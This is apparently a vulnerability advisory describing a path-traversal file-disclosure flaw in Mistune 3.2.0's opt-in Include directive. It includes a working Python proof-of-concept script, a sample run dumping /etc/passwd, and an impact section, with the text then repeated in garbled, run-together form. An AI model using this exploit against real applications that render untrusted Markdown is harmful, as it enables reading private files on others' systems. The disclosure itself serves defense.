Summary
Mistune 3.2.0 is vulnerable to a conditional file disclosure issue in its opt-in Include directive. When an application enables RSTDirective([Include()]) and renders attacker-controlled Markdown files via Markdown.read(path), an attacker can use relative include paths such as .. include:: ../secret.txt to read parent/sibling files. Included non-Markdown content is then embedded into HTML without escaping, so included script-bearing text survives as a literal <script> tag in the output.
Details
The issue is in src/mistune/directives/include.py and depends on Markdown.read() setting state.env['__file__'] from the caller-supplied file path.
Relevant behavior:
Markdown.read(path) seeds the current source file into the parse environment.
Include.parse() reads the include target from the directive title.
- The target path is resolved as:
dest = os.path.join(os.path.dirname(source_file), relpath)
dest = os.path.normpath(dest)
- No root restriction or allowlist is applied before
open(dest, 'rb').
- For non-Markdown files, the included bytes are emitted by:
def render_html_include(renderer, text, **attrs):
return '<pre class="directive-include">\n' + text + "</pre>\n"
This means a malicious Markdown file can disclose files outside the current document directory, and if the included file contains HTML/script markup, that markup is preserved in the output.
PoC
- Choose a file to read.
- Create a Markdown file on disk, for example attacker.md.
- Put this line inside attacker.md:
.. include:: /ur/file/to/read
- Configure Mistune with the Include directive enabled.
- Ask Mistune to render attacker.md by using Markdown.read("attacker.md"), not by passing the text directly as a string.
- While parsing the Markdown file, Mistune processes the .. include:: directive.
- Mistune opens /ur/file/to/read, reads its contents, and inserts those contents into the rendered output.
- The issue is confirmed if the final rendered output contains the contents of /ur/file/to/read.
Script
I created a script to do the exploit
import argparse
from pathlib import Path
import mistune
from mistune.directives import Include, RSTDirective
def main() -> None:
parser = argparse.ArgumentParser()
parser.add_argument("--file", required=True, help="file to read via Include directive")
parser.add_argument(
"--markdown",
default="attacker.md",
help="markdown file to create in the current directory (default: attacker.md)",
)
args = parser.parse_args()
target = str(Path(args.file).resolve())
attacker = Path.cwd() / args.markdown
attacker.write_text(f".. include:: {target}\n", encoding="utf-8")
md = mistune.create_markdown(plugins=[RSTDirective([Include()])]) # type: ignore[arg-type]
print(md.read(str(attacker))[0])
if __name__ == "__main__":
main()
Example Usage:
(dllm) dllm@dllm:~/Downloads/penis$ python poc.py --file /etc/passwd
<pre class="directive-include">
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:996:996:systemd Time Synchronization:/:/usr/sbin/nologin
dhcpcd:x:100:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/false
messagebus:x:101:101::/nonexistent:/usr/sbin/nologin
syslog:x:102:102::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:991:991:systemd Resolver:/:/usr/sbin/nologin
uuidd:x:103:103::/run/uuidd:/usr/sbin/nologin
usbmux:x:104:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
tss:x:105:105:TPM software stack,,,:/var/lib/tpm:/bin/false
systemd-oom:x:990:990:systemd Userspace OOM Killer:/:/usr/sbin/nologin
kernoops:x:106:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin
whoopsie:x:107:109::/nonexistent:/bin/false
dnsmasq:x:999:65534:dnsmasq:/var/lib/misc:/usr/sbin/nologin
avahi:x:108:111:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologin
tcpdump:x:109:112::/nonexistent:/usr/sbin/nologin
sssd:x:110:113:SSSD system user,,,:/var/lib/sss:/usr/sbin/nologin
speech-dispatcher:x:111:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
cups-pk-helper:x:112:114:user for cups-pk-helper service,,,:/nonexistent:/usr/sbin/nologin
fwupd-refresh:x:989:989:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin
saned:x:113:116::/var/lib/saned:/usr/sbin/nologin
geoclue:x:114:117::/var/lib/geoclue:/usr/sbin/nologin
cups-browsed:x:115:114::/nonexistent:/usr/sbin/nologin
hplip:x:116:7:HPLIP system user,,,:/run/hplip:/bin/false
gnome-remote-desktop:x:988:988:GNOME Remote Desktop:/var/lib/gnome-remote-desktop:/usr/sbin/nologin
polkitd:x:987:987:User for polkitd:/:/usr/sbin/nologin
rtkit:x:117:119:RealtimeKit,,,:/proc:/usr/sbin/nologin
colord:x:118:120:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
gnome-initial-setup:x:119:65534::/run/gnome-initial-setup/:/bin/false
gdm:x:120:121:Gnome Display Manager:/var/lib/gdm3:/bin/false
nm-openvpn:x:121:122:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
dllm:x:1000:1000:dllm:/home/dllm:/bin/bash
debian-tor:x:122:124::/var/lib/tor:/bin/false
snapd-range-524288-root:x:524288:524288::/nonexistent:/usr/bin/false
snap_daemon:x:584788:584788::/nonexistent:/usr/bin/false
</pre>
Impact
In applications that expose Include-enabled file rendering to untrusted users, an attacker can:
- read files relative to the uploaded/submitted Markdown file's location, including parent/sibling files; and
- embed active HTML/script from included non-Markdown files into the rendered output.
The primary impact is local file disclosure. A secondary impact is HTML/script injection into rendered pages when included files contain markup. The vulnerability is conditional on a risky integration pattern, but under that integration it is straightforward to exploit.
Summary
Mistune 3.2.0 is vulnerable to a conditional file disclosure issue in its opt-in
Includedirective. When an application enablesRSTDirective([Include()])and renders attacker-controlled Markdown files viaMarkdown.read(path), an attacker can use relative include paths such as.. include:: ../secret.txtto read parent/sibling files. Included non-Markdown content is then embedded into HTML without escaping, so included script-bearing text survives as a literal<script>tag in the output.Details
The issue is in
src/mistune/directives/include.pyand depends onMarkdown.read()settingstate.env['__file__']from the caller-supplied file path.Relevant behavior:
Markdown.read(path)seeds the current source file into the parse environment.Include.parse()reads the include target from the directive title.open(dest, 'rb').This means a malicious Markdown file can disclose files outside the current document directory, and if the included file contains HTML/script markup, that markup is preserved in the output.
PoC
.. include:: /ur/file/to/read
Script
I created a script to do the exploit
Example Usage:
Impact
In applications that expose Include-enabled file rendering to untrusted users, an attacker can:
The primary impact is local file disclosure. A secondary impact is HTML/script injection into rendered pages when included files contain markup. The vulnerability is conditional on a risky integration pattern, but under that integration it is straightforward to exploit.